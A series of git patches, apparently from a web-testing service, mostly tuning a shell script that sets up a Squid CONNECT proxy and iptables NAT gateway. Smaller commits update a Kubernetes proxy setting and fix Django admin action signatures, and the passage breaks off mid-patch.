-echo "Using LISTEN_PORT: $LISTEN_PORT"
+echo "Using NAT_VPC_CIDR: $NAT_VPC_CIDR"
+echo "Using NAT_LISTEN_PORT: $NAT_LISTEN_PORT"
 echo ""
 
 echo "[1/7] Updating system..."
 apt update -y
 apt install -y squid iptables-persistent curl
 
-echo "[2/7] Applying sysctl performance tuning..."
+echo "[2/7] Loading conntrack kernel modules..."
+modprobe nf_conntrack
+modprobe nf_conntrack_ipv4 || true
+modprobe xt_conntrack || true
 
+echo "[3/7] Applying sysctl tuning..."
 cat <<EOF >> /etc/sysctl.conf
 
-# ---- NAT Proxy Performance ----
+# NAT proxy performance tuning
 net.ipv4.ip_forward = 1
-
-# Larger ephemeral port range
 net.ipv4.ip_local_port_range = 15000 65000
 
-# Larger conntrack table (default ~16k, we want 262k)
+# Increase conntrack table
 net.netfilter.nf_conntrack_max = 262144
 
 # Faster TIME_WAIT cleanup
 net.ipv4.tcp_fin_timeout = 15
 net.ipv4.tcp_tw_reuse = 1
-net.ipv4.tcp_tw_recycle = 0
 
-# Allow more open file descriptors
+# Increase FD limits
 fs.file-max = 500000
-
 EOF
 
 sysctl -p
 
-echo "[3/7] Configuring Squid as a CONNECT proxy..."
-
+echo "[4/7] Configuring Squid..."
 mv /etc/squid/squid.conf /etc/squid/squid.conf.bak
 
 cat <<EOF > /etc/squid/squid.conf
-# ============ Squid High-Concurrency Proxy ============
+# ================== Squid CONNECT Proxy ==================
 
 # Listen on custom port
-http_port $LISTEN_PORT
+http_port $NAT_LISTEN_PORT
 
-# Only allow CONNECT tunneling (HTTPS proxy)
+# Allow HTTPS CONNECT only
 acl SSL_ports port 443
 acl CONNECT method CONNECT
 http_access allow CONNECT SSL_ports
 
 # Allow VPC CIDR
-acl vpc src $VPC_CIDR
+acl vpc src $NAT_VPC_CIDR
 http_access allow vpc
 
-# Deny all else
+# Deny all other access
 http_access deny all
 
-# ---- Performance Tuning ----
-
-# Disable caching (faster, lower RAM)
+# No caching (Chrome-friendly)
 cache deny all
 memory_pools off
 cache_mem 16 MB
 
-# Increase concurrency capability
-max_filedescriptors=65535
+# FD scaling
+max_filedescriptors 65535
 
-# Squid workers
 workers 1
 
-# Connection handling
-tcp_outgoing_address 0.0.0.0
-shutdown_lifetime 3 seconds
-
 # No disk cache
 cache_dir null /tmp
 
-# Logging
 access_log /var/log/squid/access.log
 cache_log /var/log/squid/cache.log
 EOF
 
-echo "[4/7] Restarting Squid..."
+echo "[5/7] Restarting Squid..."
 systemctl restart squid
 systemctl enable squid
 
-echo "[5/7] Setting up IP forwarding..."
-sysctl -w net.ipv4.ip_forward=1
-
-echo "[6/7] Configuring iptables NAT fallback..."
+echo "[6/7] Setting up iptables NAT..."
 iptables -t nat -F
-iptables -A FORWARD -s "$VPC_CIDR" -j ACCEPT
-iptables -t nat -A POSTROUTING -s "$VPC_CIDR" -o eth0 -j MASQUERADE
+iptables -A FORWARD -s "$NAT_VPC_CIDR" -j ACCEPT
+iptables -t nat -A POSTROUTING -s "$NAT_VPC_CIDR" -o eth0 -j MASQUERADE
 
 netfilter-persistent save
 netfilter-persistent reload
 
-echo "[7/7] Done!"
-
+echo "[7/7] Completed!"
 echo ""
-echo "Squid CONNECT proxy running on port $LISTEN_PORT"
-echo "Allowed VPC range: $VPC_CIDR"
+echo "Squid CONNECT proxy active on port: $NAT_LISTEN_PORT"
+echo "Allowed VPC range: $NAT_VPC_CIDR"
 echo ""
-echo "You can test via:"
-echo "  curl -x http://<NAT_IP>:$LISTEN_PORT https://google.com -I"
+echo "Test from a worker:"
+echo "  curl -x http://<NAT_IP>:$NAT_LISTEN_PORT https://google.com -I"

From 287646877e5d9a61bd2b983e2e36ebbbad8a8d65 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sat, 15 Nov 2025 13:10:31 -0500
Subject: [PATCH 1052/1099] update: small NAT script fixes

---
 setup/scripts/nat.sh | 26 +++++++++-----------------
 1 file changed, 9 insertions(+), 17 deletions(-)

diff --git a/setup/scripts/nat.sh b/setup/scripts/nat.sh
index 72e9602b..dccfa520 100644
--- a/setup/scripts/nat.sh
+++ b/setup/scripts/nat.sh
@@ -4,31 +4,23 @@
 
 # If using k8s, the NAT_VP_CIDR is likely specific to the cluster
 
-set -e
 
-usage() {
-  echo "Usage: $0 [-c NAT_VPC_CIDR] [-p NAT_LISTEN_PORT]"
-  exit 1
-}
+set -u # Treat unset variables as errors
 
-# Reset variables so the script ALWAYS prompts if not provided
-unset NAT_VPC_CIDR
-unset NAT_LISTEN_PORT
 
-while getopts ":c:p:" opt; do
-  case "${opt}" in
-    c) NAT_VPC_CIDR="${OPTARG}" ;;
-    p) NAT_LISTEN_PORT="${OPTARG}" ;;
-    *) usage ;;
-  esac
-done
+# ===========================
+# Positional arguments
+# ===========================
+
+NAT_VPC_CIDR="${1:-}"
+NAT_LISTEN_PORT="${2:-}"
 
 if [ -z "$NAT_VPC_CIDR" ]; then
-  read -rp "Enter VPC CIDR block (e.g., 10.124.0.0/16): " NAT_VPC_CIDR
+  read -rp "Enter VPC CIDR block (e.g., 10.124.0.0/16): " VPC_CIDR
 fi
 
 if [ -z "$NAT_LISTEN_PORT" ]; then
-  read -rp "Enter Proxy Listen Port (e.g., 8888): " NAT_LISTEN_PORT
+  read -rp "Enter Proxy Listen Port (e.g., 8888): " LISTEN_PORT
 fi
 
 echo "Using NAT_VPC_CIDR: $NAT_VPC_CIDR"

From 34fd32c4722158af10e078ba39d214708878fb3e Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sat, 15 Nov 2025 15:36:14 -0500
Subject: [PATCH 1053/1099] fix: swapped NAT server for new setup to prevent
 proxy bottlenecks (Tinyproxy -> Squid)

---
 k8s/prod/celery-deployment.yaml | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index b4353f8c..4481ddf6 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -24,7 +24,7 @@ spec:
         - name: regcred
       containers:
         - name: celery
-          image: <IMAGE> # cursiondev/server:8e56596 # 
+          image: <IMAGE> # cursiondev/server:cc4b9ef # 
           imagePullPolicy: IfNotPresent
           command: ["/entrypoint.sh", "celery"]
           envFrom:
@@ -37,9 +37,9 @@ spec:
                   fieldPath: metadata.name
             # remove below if not using NAT gateway
             - name: HTTP_PROXY
-              value: "http://10.124.0.27:8888"
+              value: "http://10.124.0.28:8888"
             - name: HTTPS_PROXY
-              value: "http://10.124.0.27:8888"
+              value: "http://10.124.0.28:8888"
             - name: NO_PROXY
               value: "localhost,127.0.0.1,.svc.cluster.local,10.0.0.0/8"
           # resources:  # -> large node pool (4vcpu & 8Gi)

From 47df63d5264958b002353498a321cb18bd24b89f Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 17 Nov 2025 11:19:26 -0500
Subject: [PATCH 1054/1099] update: adding new configs for `NAT.sh`

---
 setup/scripts/nat.sh | 75 +++++++++++++++++++++++++++++++-------------
 1 file changed, 54 insertions(+), 21 deletions(-)

diff --git a/setup/scripts/nat.sh b/setup/scripts/nat.sh
index dccfa520..080af91a 100644
--- a/setup/scripts/nat.sh
+++ b/setup/scripts/nat.sh
@@ -16,68 +16,92 @@ NAT_VPC_CIDR="${1:-}"
 NAT_LISTEN_PORT="${2:-}"
 
 if [ -z "$NAT_VPC_CIDR" ]; then
-  read -rp "Enter VPC CIDR block (e.g., 10.124.0.0/16): " VPC_CIDR
+  read -rp "Enter VPC CIDR block (e.g., 10.124.0.0/16): " NAT_VPC_CIDR
 fi
 
 if [ -z "$NAT_LISTEN_PORT" ]; then
-  read -rp "Enter Proxy Listen Port (e.g., 8888): " LISTEN_PORT
+  read -rp "Enter Proxy Listen Port (e.g., 8888): " NAT_LISTEN_PORT
 fi
 
 echo "Using NAT_VPC_CIDR: $NAT_VPC_CIDR"
 echo "Using NAT_LISTEN_PORT: $NAT_LISTEN_PORT"
 echo ""
 
-echo "[1/7] Updating system..."
+echo "[1/8] Updating system..."
 apt update -y
 apt install -y squid iptables-persistent curl
 
-echo "[2/7] Loading conntrack kernel modules..."
+echo "[2/8] Loading conntrack kernel modules..."
 modprobe nf_conntrack
-modprobe nf_conntrack_ipv4 || true
 modprobe xt_conntrack || true
 
-echo "[3/7] Applying sysctl tuning..."
+echo "[3/8] Applying sysctl tuning..."
 cat <<EOF >> /etc/sysctl.conf
 
-# NAT proxy performance tuning
+# TCP backlog & performance
+net.core.somaxconn = 65535
+net.core.netdev_max_backlog = 250000
+
+# Orphan sockets
+net.ipv4.tcp_max_orphans = 16384
+
+# SYN backlog
+net.ipv4.tcp_max_syn_backlog = 16384
+
+# NAT proxy performance
 net.ipv4.ip_forward = 1
 net.ipv4.ip_local_port_range = 15000 65000
 
-# Increase conntrack table
+# Conntrack table
 net.netfilter.nf_conntrack_max = 262144
 
-# Faster TIME_WAIT cleanup
+# TIME_WAIT cleanup
 net.ipv4.tcp_fin_timeout = 15
 net.ipv4.tcp_tw_reuse = 1
 
-# Increase FD limits
+# File descriptors
 fs.file-max = 500000
 EOF
 
 sysctl -p
 
-echo "[4/7] Configuring Squid..."
+echo "[4/8] Configuring Squid..."
 mv /etc/squid/squid.conf /etc/squid/squid.conf.bak
 
 cat <<EOF > /etc/squid/squid.conf
 # ================== Squid CONNECT Proxy ==================
 
-# Listen on custom port
+shutdown_lifetime 3 seconds
+dns_v4_first on
+
 http_port $NAT_LISTEN_PORT
 
-# Allow HTTPS CONNECT only
 acl SSL_ports port 443
 acl CONNECT method CONNECT
 http_access allow CONNECT SSL_ports
 
+# Large CONNECT tunnels
+request_header_max_size 64 KB
+reply_header_max_size 64 KB
+
+# Avoid connection pooling exhaustion
+server_persistent_connections off
+client_persistent_connections on
+
+# Outbound sockets per worker
+maxconn 5000
+
+# Disable request pipelining
+pipeline_prefetch off
+
 # Allow VPC CIDR
 acl vpc src $NAT_VPC_CIDR
 http_access allow vpc
 
-# Deny all other access
+# Deny all others
 http_access deny all
 
-# No caching (Chrome-friendly)
+# No caching
 cache deny all
 memory_pools off
 cache_mem 16 MB
@@ -87,18 +111,27 @@ max_filedescriptors 65535
 
 workers 1
 
-# No disk cache
 cache_dir null /tmp
 
 access_log /var/log/squid/access.log
 cache_log /var/log/squid/cache.log
 EOF
 
-echo "[5/7] Restarting Squid..."
+echo "[5/8] Adding systemd NOFILE limit..."
+mkdir -p /etc/systemd/system/squid.service.d
+
+cat <<EOF > /etc/systemd/system/squid.service.d/limits.conf
+[Service]
+LimitNOFILE=65535
+EOF
+
+systemctl daemon-reload
+
+echo "[6/8] Restarting Squid..."
 systemctl restart squid
 systemctl enable squid
 
-echo "[6/7] Setting up iptables NAT..."
+echo "[7/8] Setting up iptables NAT..."
 iptables -t nat -F
 iptables -A FORWARD -s "$NAT_VPC_CIDR" -j ACCEPT
 iptables -t nat -A POSTROUTING -s "$NAT_VPC_CIDR" -o eth0 -j MASQUERADE
@@ -106,10 +139,10 @@ iptables -t nat -A POSTROUTING -s "$NAT_VPC_CIDR" -o eth0 -j MASQUERADE
 netfilter-persistent save
 netfilter-persistent reload
 
-echo "[7/7] Completed!"
+echo "[8/8] Completed!"
 echo ""
 echo "Squid CONNECT proxy active on port: $NAT_LISTEN_PORT"
 echo "Allowed VPC range: $NAT_VPC_CIDR"
 echo ""
-echo "Test from a worker:"
-echo "  curl -x http://<NAT_IP>:$NAT_LISTEN_PORT https://google.com -I"
+echo "Test with:"
+echo "  curl -x http://<NAT_IP>:$NAT_LISTEN_PORT https://google.com -I"
\ No newline at end of file

From 13927c17f5b0f81b1c4b9bb251516f8f01d7f9ba Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 17 Nov 2025 11:29:23 -0500
Subject: [PATCH 1055/1099] fix: removed old configs from `NAT.sh`

---
 setup/scripts/nat.sh | 22 ++++++++++++----------
 1 file changed, 12 insertions(+), 10 deletions(-)

diff --git a/setup/scripts/nat.sh b/setup/scripts/nat.sh
index 080af91a..d9188989 100644
--- a/setup/scripts/nat.sh
+++ b/setup/scripts/nat.sh
@@ -71,11 +71,13 @@ mv /etc/squid/squid.conf /etc/squid/squid.conf.bak
 cat <<EOF > /etc/squid/squid.conf
 # ================== Squid CONNECT Proxy ==================
 
+# Prevent Squid from restarting under burst load
 shutdown_lifetime 3 seconds
-dns_v4_first on
 
-http_port $NAT_LISTEN_PORT
+# Listen on custom port
+http_port ${NAT_LISTEN_PORT}
 
+# Allow HTTPS CONNECT only
 acl SSL_ports port 443
 acl CONNECT method CONNECT
 http_access allow CONNECT SSL_ports
@@ -86,22 +88,21 @@ reply_header_max_size 64 KB
 
 # Avoid connection pooling exhaustion
 server_persistent_connections off
-client_persistent_connections on
 
-# Outbound sockets per worker
-maxconn 5000
+# Allow persistent connections from clients
+client_persistent_connections on
 
 # Disable request pipelining
-pipeline_prefetch off
+pipeline_prefetch 0
 
 # Allow VPC CIDR
-acl vpc src $NAT_VPC_CIDR
+acl vpc src ${NAT_VPC_CIDR}
 http_access allow vpc
 
-# Deny all others
+# Deny all other access
 http_access deny all
 
-# No caching
+# No caching (Chrome-friendly)
 cache deny all
 memory_pools off
 cache_mem 16 MB
@@ -111,7 +112,8 @@ max_filedescriptors 65535
 
 workers 1
 
-cache_dir null /tmp
+# NOTE: no cache_dir — means "no cache"
+# (Null cache type is not supported in Ubuntu 24.04 build)
 
 access_log /var/log/squid/access.log
 cache_log /var/log/squid/cache.log

From 81beb692988b98d092fd25e442e37e0ca564c3c5 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 18 Dec 2025 10:45:10 -0600
Subject: [PATCH 1056/1099] fix: adding OOM restarts to NAT.sh

---
 setup/scripts/nat.sh | 42 ++++++++++++++++++++++++++++++++++++++++--
 1 file changed, 40 insertions(+), 2 deletions(-)

diff --git a/setup/scripts/nat.sh b/setup/scripts/nat.sh
index d9188989..273a87e9 100644
--- a/setup/scripts/nat.sh
+++ b/setup/scripts/nat.sh
@@ -27,16 +27,21 @@ echo "Using NAT_VPC_CIDR: $NAT_VPC_CIDR"
 echo "Using NAT_LISTEN_PORT: $NAT_LISTEN_PORT"
 echo ""
 
+# update and install deps
 echo "[1/8] Updating system..."
 apt update -y
 apt install -y squid iptables-persistent curl
 
+# load conntrack
 echo "[2/8] Loading conntrack kernel modules..."
 modprobe nf_conntrack
 modprobe xt_conntrack || true
 
+# adding sysctl tunning
+if ! grep -q "NAT_PROXY_TUNING" /etc/sysctl.conf; then
 echo "[3/8] Applying sysctl tuning..."
 cat <<EOF >> /etc/sysctl.conf
+# === NAT_PROXY_TUNING ===
 
 # TCP backlog & performance
 net.core.somaxconn = 65535
@@ -61,7 +66,10 @@ net.ipv4.tcp_tw_reuse = 1
 
 # File descriptors
 fs.file-max = 500000
+
+# === END NAT_PROXY_TUNING ===
 EOF
+fi
 
 sysctl -p
 
@@ -102,10 +110,17 @@ http_access allow vpc
 # Deny all other access
 http_access deny all
 
-# No caching (Chrome-friendly)
+# Memory Safety (1 GiB RAM)
 cache deny all
 memory_pools off
-cache_mem 16 MB
+
+# Hard memory caps
+cache_mem 64 MB
+maximum_object_size_in_memory 32 KB
+
+# Limit per-connection buffers
+client_request_buffer_max_size 32 KB
+request_body_max_size 0 KB
 
 # FD scaling
 max_filedescriptors 65535
@@ -127,8 +142,31 @@ cat <<EOF > /etc/systemd/system/squid.service.d/limits.conf
 LimitNOFILE=65535
 EOF
 
+# restarts squid on OOM failure
+cat <<EOF > /etc/systemd/system/squid.service.d/oom.conf
+[Service]
+OOMScoreAdjust=-900
+Restart=always
+RestartSec=2
+EOF
+
+# adding memory swap 
+if ! swapon --show | grep -q /swapfile; then
+  fallocate -l 1G /swapfile
+  chmod 600 /swapfile
+  mkswap /swapfile
+  swapon /swapfile
+  echo '/swapfile none swap sw 0 0' >> /etc/fstab
+fi
+
+# update squid dameon
+systemctl daemon-reexec
 systemctl daemon-reload
 
+# avoids silent failures
+squid -k parse
+
+# restart squid
 echo "[6/8] Restarting Squid..."
 systemctl restart squid
 systemctl enable squid

From c937eb3f8569f5f99980379794ecc24add100fa8 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 18 Dec 2025 10:45:30 -0600
Subject: [PATCH 1057/1099] routine: cleanup and formatting

---
 app/api/utils/issuer.py | 4 +---
 app/api/utils/meter.py  | 7 +++----
 2 files changed, 4 insertions(+), 7 deletions(-)

diff --git a/app/api/utils/issuer.py b/app/api/utils/issuer.py
index 248096aa..498b3536 100644
--- a/app/api/utils/issuer.py
+++ b/app/api/utils/issuer.py
@@ -2,9 +2,7 @@
 from cursion import settings
 from openai import OpenAI
 from .meter import meter_account
-import time, os, json, uuid, \
-    random, boto3, re, requests, \
-    tiktoken
+import re, requests, tiktoken
 
 
 
diff --git a/app/api/utils/meter.py b/app/api/utils/meter.py
index bd1c183f..416991d3 100644
--- a/app/api/utils/meter.py
+++ b/app/api/utils/meter.py
@@ -12,10 +12,9 @@ def meter_account(account_id: str=None, count: int=1) -> None:
     Sends a `MeterEvent` request to Stripe to 
     track account usage
 
-    Expects: {
-        'account_id' : <str> (REQUIRED)   
-        'count'      : <int> (OPTIONAL)   
-    }
+    Expects:
+        'account_id' `<str>` (REQUIRED)   
+        'count'      `<int>` (OPTIONAL)   
 
     Returns: None
     """

From c6e013d655f84828504fd591b6c0360725cd1ffa Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 18 Dec 2025 10:52:07 -0600
Subject: [PATCH 1058/1099] update: increased `client_request_buffer_max_size`

---
 setup/scripts/nat.sh | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/scripts/nat.sh b/setup/scripts/nat.sh
index 273a87e9..c63f6141 100644
--- a/setup/scripts/nat.sh
+++ b/setup/scripts/nat.sh
@@ -119,7 +119,7 @@ cache_mem 64 MB
 maximum_object_size_in_memory 32 KB
 
 # Limit per-connection buffers
-client_request_buffer_max_size 32 KB
+client_request_buffer_max_size 64 KB
 request_body_max_size 0 KB
 
 # FD scaling

From 542fe359b2dce82c300c8d234c9fd41cff534e51 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 18 Dec 2025 10:56:55 -0600
Subject: [PATCH 1059/1099] update: increased `client_request_buffer_max_size`
 to 96KB

---
 setup/scripts/nat.sh | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/scripts/nat.sh b/setup/scripts/nat.sh
index c63f6141..5fe672a1 100644
--- a/setup/scripts/nat.sh
+++ b/setup/scripts/nat.sh
@@ -119,7 +119,7 @@ cache_mem 64 MB
 maximum_object_size_in_memory 32 KB
 
 # Limit per-connection buffers
-client_request_buffer_max_size 64 KB
+client_request_buffer_max_size 96 KB
 request_body_max_size 0 KB
 
 # FD scaling

From 2ee634bff65a97a7b19d79928f4eb237fa9c17ae Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 18 Dec 2025 11:28:17 -0600
Subject: [PATCH 1060/1099] fix: add missing request parameter to admin actions

---
 app/api/admin.py | 34 +++++++++++++++++-----------------
 1 file changed, 17 insertions(+), 17 deletions(-)

diff --git a/app/api/admin.py b/app/api/admin.py
index f0b72d09..af728c46 100644
--- a/app/api/admin.py
+++ b/app/api/admin.py
@@ -24,7 +24,7 @@ class AccountAdmin(admin.ModelAdmin):
     search_fields = ('name', 'user__email')
     actions = ['reset_usage',]
 
-    def reset_usage(self, queryset):
+    def reset_usage(self, request, queryset):
         for account in queryset:
             reset_account_usage.delay(
                 account_id=account.id
@@ -56,28 +56,28 @@ class SiteAdmin(admin.ModelAdmin):
     actions = ['scan_sites', 'test_sites', 'delete_sites', 'crawl_sites']
     raw_id_fields = ('account', 'user',)
 
-    def crawl_sites(self, queryset):
+    def crawl_sites(self, request, queryset):
         for site in queryset:
             crawl_site(
                 id=site.id,
                 user=site.account.user
             )
 
-    def scan_sites(self, queryset):
+    def scan_sites(self, request, queryset):
         for site in queryset:
             create_scan(
                 site_id=site.id,
                 user_id=site.account.user.id
             )
     
-    def test_sites(self, queryset):
+    def test_sites(self, request, queryset):
         for site in queryset:
             create_test(
                 site_id=site.id,
                 user_id=site.account.user.id
             )
     
-    def delete_sites(self, queryset):
+    def delete_sites(self, request, queryset):
         for site in queryset:
             delete_site(
                 id=site.id,
@@ -94,21 +94,21 @@ class PageAdmin(admin.ModelAdmin):
     actions = ['scan_pages', 'test_pages', 'delete_pages',]
     raw_id_fields = ('account', 'user', 'site')
 
-    def scan_pages(self, queryset):
+    def scan_pages(self, request, queryset):
         for page in queryset:
             create_scan(
                 page_id=page.id,
                 user_id=page.account.user.id
             )
     
-    def test_pages(self, queryset):
+    def test_pages(self, request, queryset):
         for page in queryset:
             create_test(
                 page_id=page.id,
                 user_id=page.account.user.id
             )
     
-    def delete_pages(self, queryset):
+    def delete_pages(self, request, queryset):
         for page in queryset:
             delete_page(
                 id=page.id,
@@ -125,20 +125,20 @@ class ScanAdmin(admin.ModelAdmin):
     actions = ['delete_scans', 'mark_as_completed', 'add_scan_score' ]
     raw_id_fields = ('site', 'page', 'paired_scan',)
 
-    def delete_scans(self, queryset):
+    def delete_scans(self, request, queryset):
         for scan in queryset:
             delete_scan(
                 id=scan.id,
                 user=scan.page.account.user
             )
     
-    def add_scan_score(self, queryset):
+    def add_scan_score(self, request, queryset):
         for scan in queryset:
             update_scan_score.delay(
                 scan_id=scan.id
             )
 
-    def mark_as_completed(self, queryset):
+    def mark_as_completed(self, request, queryset):
         queryset.update(time_completed=datetime.now())
 
 
@@ -151,7 +151,7 @@ class TestAdmin(admin.ModelAdmin):
     actions = ['delete_tests',]
     raw_id_fields = ('site', 'page', 'pre_scan', 'post_scan',)
 
-    def delete_tests(self, queryset):
+    def delete_tests(self, request, queryset):
         for test in queryset:
             delete_test(
                 id=test.id,
@@ -206,14 +206,14 @@ class CaseAdmin(admin.ModelAdmin):
     actions = ['delete_cases', 'start_pre_run']
     raw_id_fields = ('user', 'account', 'site')
 
-    def delete_cases(self, queryset):
+    def delete_cases(self, request, queryset):
         for case in queryset:
             delete_case(
                 id=case.id,
                 user=case.user
             )
     
-    def start_pre_run(self, queryset):
+    def start_pre_run(self, request, queryset):
         for case in queryset:
             case_pre_run(**{
                 'case_id': str(case.id),
@@ -231,7 +231,7 @@ class CaseRunAdmin(admin.ModelAdmin):
 
     actions = ['delete_caseruns',]
 
-    def delete_caseruns(self, queryset):
+    def delete_caseruns(self, request, queryset):
         for caserun in queryset:
             delete_caserun(
                 id=caserun.id,
@@ -290,10 +290,10 @@ class MaskAdmin(admin.ModelAdmin):
     search_fields = ('mask_id',)
     actions = ['mark_as_inactive', 'mark_as_active',]
     
-    def mark_as_inactive(self, queryset):
+    def mark_as_inactive(self, request, queryset):
         queryset.update(active=False)
     
-    def mark_as_active(self, queryset):
+    def mark_as_active(self, request, queryset):
         queryset.update(active=True)
 
 

From 87f4c97939907fc9a687375f39d6b767640b799f Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 24 Dec 2025 11:48:07 -0700
Subject: [PATCH 1061/1099] update: new NAT.sh configs

---
 setup/scripts/nat.sh | 27 +++++++++++++++++++--------
 1 file changed, 19 insertions(+), 8 deletions(-)

diff --git a/setup/scripts/nat.sh b/setup/scripts/nat.sh
index 5fe672a1..2f85221f 100644
--- a/setup/scripts/nat.sh
+++ b/setup/scripts/nat.sh
@@ -4,10 +4,8 @@
 
 # If using k8s, the NAT_VP_CIDR is likely specific to the cluster
 
-
 set -u # Treat unset variables as errors
 
-
 # ===========================
 # Positional arguments
 # ===========================
@@ -90,6 +88,18 @@ acl SSL_ports port 443
 acl CONNECT method CONNECT
 http_access allow CONNECT SSL_ports
 
+# ---- HARD CONCURRENCY / BACKPRESSURE (1 GiB box) ----
+# Cap total concurrent client connections (prevents runaway growth)
+acl max_clients maxconn 600
+http_access deny max_clients
+
+# Force cleanup of idle/stalled tunnels
+request_timeout 30 seconds
+persistent_request_timeout 30 seconds
+
+# Reduce FD retention / half-closed socket buildup
+half_closed_clients off
+
 # Large CONNECT tunnels
 request_header_max_size 64 KB
 reply_header_max_size 64 KB
@@ -97,8 +107,8 @@ reply_header_max_size 64 KB
 # Avoid connection pooling exhaustion
 server_persistent_connections off
 
-# Allow persistent connections from clients
-client_persistent_connections on
+# IMPORTANT: disable long-lived client persistence to prevent memory creep
+client_persistent_connections off
 
 # Disable request pipelining
 pipeline_prefetch 0
@@ -119,6 +129,7 @@ cache_mem 64 MB
 maximum_object_size_in_memory 32 KB
 
 # Limit per-connection buffers
+# NOTE: must be > request_header_max_size (64 KB). 96 KB is safe.
 client_request_buffer_max_size 96 KB
 request_body_max_size 0 KB
 
@@ -150,16 +161,16 @@ Restart=always
 RestartSec=2
 EOF
 
-# adding memory swap 
+# adding memory swap
 if ! swapon --show | grep -q /swapfile; then
   fallocate -l 1G /swapfile
   chmod 600 /swapfile
   mkswap /swapfile
   swapon /swapfile
-  echo '/swapfile none swap sw 0 0' >> /etc/fstab
+  grep -q '^/swapfile ' /etc/fstab || echo '/swapfile none swap sw 0 0' >> /etc/fstab
 fi
 
-# update squid dameon
+# update squid daemon
 systemctl daemon-reexec
 systemctl daemon-reload
 
@@ -185,4 +196,4 @@ echo "Squid CONNECT proxy active on port: $NAT_LISTEN_PORT"
 echo "Allowed VPC range: $NAT_VPC_CIDR"
 echo ""
 echo "Test with:"
-echo "  curl -x http://<NAT_IP>:$NAT_LISTEN_PORT https://google.com -I"
\ No newline at end of file
+echo "  curl -x http://<NAT_IP>:$NAT_LISTEN_PORT https://google.com -I"

From d2d95069be10e96e47928d7d70e0d5caeaab3ed5 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 24 Dec 2025 12:17:56 -0700
Subject: [PATCH 1062/1099] update: NAT.sh fixes

---
 setup/scripts/nat.sh | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/setup/scripts/nat.sh b/setup/scripts/nat.sh
index 2f85221f..0d493815 100644
--- a/setup/scripts/nat.sh
+++ b/setup/scripts/nat.sh
@@ -90,11 +90,14 @@ http_access allow CONNECT SSL_ports
 
 # ---- HARD CONCURRENCY / BACKPRESSURE (1 GiB box) ----
 # Cap total concurrent client connections (prevents runaway growth)
-acl max_clients maxconn 600
+acl max_clients maxconn 500
 http_access deny max_clients
 
 # Force cleanup of idle/stalled tunnels
 request_timeout 30 seconds
+connect_timeout 10 seconds
+read_timeout 30 seconds
+client_lifetime 5 minutes
 persistent_request_timeout 30 seconds
 
 # Reduce FD retention / half-closed socket buildup

From 5646f1daf3d79d7e8226a15b64d358dc35384c9f Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 24 Dec 2025 12:37:35 -0700
Subject: [PATCH 1063/1099] update: new nat.sh fixes

---
 setup/scripts/nat.sh | 9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

diff --git a/setup/scripts/nat.sh b/setup/scripts/nat.sh
index 0d493815..a396f420 100644
--- a/setup/scripts/nat.sh
+++ b/setup/scripts/nat.sh
@@ -92,6 +92,7 @@ http_access allow CONNECT SSL_ports
 # Cap total concurrent client connections (prevents runaway growth)
 acl max_clients maxconn 500
 http_access deny max_clients
+connect_retries 1
 
 # Force cleanup of idle/stalled tunnels
 request_timeout 30 seconds
@@ -160,8 +161,8 @@ EOF
 cat <<EOF > /etc/systemd/system/squid.service.d/oom.conf
 [Service]
 OOMScoreAdjust=-900
-Restart=always
-RestartSec=2
+Restart=on-failure
+RestartSec=10
 EOF
 
 # adding memory swap
@@ -193,6 +194,10 @@ iptables -t nat -A POSTROUTING -s "$NAT_VPC_CIDR" -o eth0 -j MASQUERADE
 netfilter-persistent save
 netfilter-persistent reload
 
+# limit SYNs calls
+sysctl -w net.ipv4.tcp_max_syn_backlog=4096
+sysctl -w net.ipv4.tcp_abort_on_overflow=1
+
 echo "[8/8] Completed!"
 echo ""
 echo "Squid CONNECT proxy active on port: $NAT_LISTEN_PORT"

From bce205411d34994a16acddc4928126a0f6618aa2 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 24 Dec 2025 13:14:16 -0700
Subject: [PATCH 1064/1099] update: more nat tunning

---
 setup/scripts/nat.sh | 23 +++++++++++++++--------
 1 file changed, 15 insertions(+), 8 deletions(-)

diff --git a/setup/scripts/nat.sh b/setup/scripts/nat.sh
index a396f420..8e87a179 100644
--- a/setup/scripts/nat.sh
+++ b/setup/scripts/nat.sh
@@ -48,9 +48,6 @@ net.core.netdev_max_backlog = 250000
 # Orphan sockets
 net.ipv4.tcp_max_orphans = 16384
 
-# SYN backlog
-net.ipv4.tcp_max_syn_backlog = 16384
-
 # NAT proxy performance
 net.ipv4.ip_forward = 1
 net.ipv4.ip_local_port_range = 15000 65000
@@ -62,6 +59,12 @@ net.netfilter.nf_conntrack_max = 262144
 net.ipv4.tcp_fin_timeout = 15
 net.ipv4.tcp_tw_reuse = 1
 
+# limit SYNs calls
+net.ipv4.tcp_syn_retries = 2
+net.ipv4.tcp_synack_retries = 2
+net.ipv4.tcp_max_syn_backlog = 4096
+net.ipv4.tcp_abort_on_overflow = 1
+
 # File descriptors
 fs.file-max = 500000
 
@@ -77,6 +80,10 @@ mv /etc/squid/squid.conf /etc/squid/squid.conf.bak
 cat <<EOF > /etc/squid/squid.conf
 # ================== Squid CONNECT Proxy ==================
 
+# Prevent squid from proxying itself
+acl localhost src 127.0.0.1/32 137.184.90.205/32
